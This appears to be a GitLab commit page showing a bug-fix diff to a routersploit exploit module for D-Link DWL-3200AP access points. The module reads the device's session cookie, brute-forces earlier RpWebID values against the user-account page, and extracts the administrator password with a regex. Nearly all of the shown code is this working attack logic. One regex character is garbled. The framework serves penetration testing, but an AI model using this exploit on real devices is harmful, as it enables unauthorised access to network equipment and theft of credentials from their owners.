Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
aae60fb8
Commit
aae60fb8
authored
8 years ago
by
lucyoa
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Fixing minor bugs, methods, type conversion
parent
514a62eb
Show whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
13 additions
and
9 deletions
+13
-9
dwl_3200ap_password_disclosure.py
.../modules/exploits/dlink/dwl_3200ap_password_disclosure.py
+13
-9
No files found.
routersploit/modules/exploits/dlink/dwl_3200ap_password_disclosure.py
View file @
aae60fb8
...
...
@@ -14,11 +14,11 @@ from routersploit import (
class
Exploit
(
exploits
.
Exploit
):
"""
Exploits D
LINK DWL3200
access points weak cookie value
Exploits D
-Link DWL-3200AP
access points weak cookie value
"""
__info__
=
{
'name'
:
'D-Link
AP 3200 -
Password Disclosure'
,
'description'
:
'Exploits D
LINK
DWL3200 access points weak cookie value'
,
'name'
:
'D-Link
DWL-3200AP
Password Disclosure'
,
'description'
:
'Exploits D
-Link
DWL3200 access points weak cookie value'
,
'authors'
:
[
'pws'
,
# Vulnerability discovery
'Josh Abraham <sinisterpatrician[at]google.com>'
,
# routersploit module
...
...
@@ -27,21 +27,25 @@ class Exploit(exploits.Exploit):
'https://www.exploit-db.com/exploits/34206/'
,
],
'devices'
:
[
'D
LINK DWL3200
'
,
'D
-Link DWL-3200AP
'
,
],
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
# target address
port
=
exploits
.
Option
(
80
,
'Target port'
)
# default port
# 3600 seconds - one hour means that we will bruteforce authenticated cookie value that was valid within last hour
seconds
=
exploits
.
Option
(
3600
,
'Number of seconds in the past to bruteforce'
)
def
run
(
self
):
if
self
.
check
():
cookie_value
=
self
.
get_cookie
()
print_success
(
"Cookie retrieved: {}"
.
format
(
cookie_value
))
cookie_int
=
int
(
cookie_value
,
16
)
start
=
cookie_int
-
3600
start
=
cookie_int
-
int
(
self
.
seconds
)
print_status
(
"Starting bruteforcing cookie value..."
)
for
i
in
xrange
(
cookie_int
,
start
,
-
1
):
self
.
test_cookie
(
i
)
else
:
...
...
@@ -74,14 +78,14 @@ class Exploit(exploits.Exploit):
except
Exception
:
print_error
(
"Unable to connect to target"
)
def
test_cookie
(
cookie_int
,
self
):
def
test_cookie
(
self
,
cookie_int
):
"""
Method that tests all cookies from
past hour
to find one that is valid
Method that tests all cookies from
the past
to find one that is valid
"""
url
=
"{}:{}/html/tUserAccountControl.htm"
.
format
(
self
.
target
,
self
.
port
)
cookie
=
dict
(
RpWebID
=
cookie_int
)
cookie
s
=
dict
(
RpWebID
=
str
(
cookie_int
)
)
try
:
r
=
http_request
(
method
=
'GET'
,
url
=
url
,
cookie
=
cookie
,
timeout
=
10
)
r
=
http_request
(
method
=
'GET'
,
url
=
url
,
cookie
s
=
cookies
,
timeout
=
10
)
if
(
'NAME="OldPwd"'
in
r
.
text
):
print_success
(
"Cookie {} is valid!"
.
format
(
cookie_int
))
pattern
=
r"NAME=\"OldPwd\" SIZE=\"12\" MAXLENGTH=\"12\" VALUE=\"([�-9]+)\""
...
...
This diff is collapsed.
Click to expand it.
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment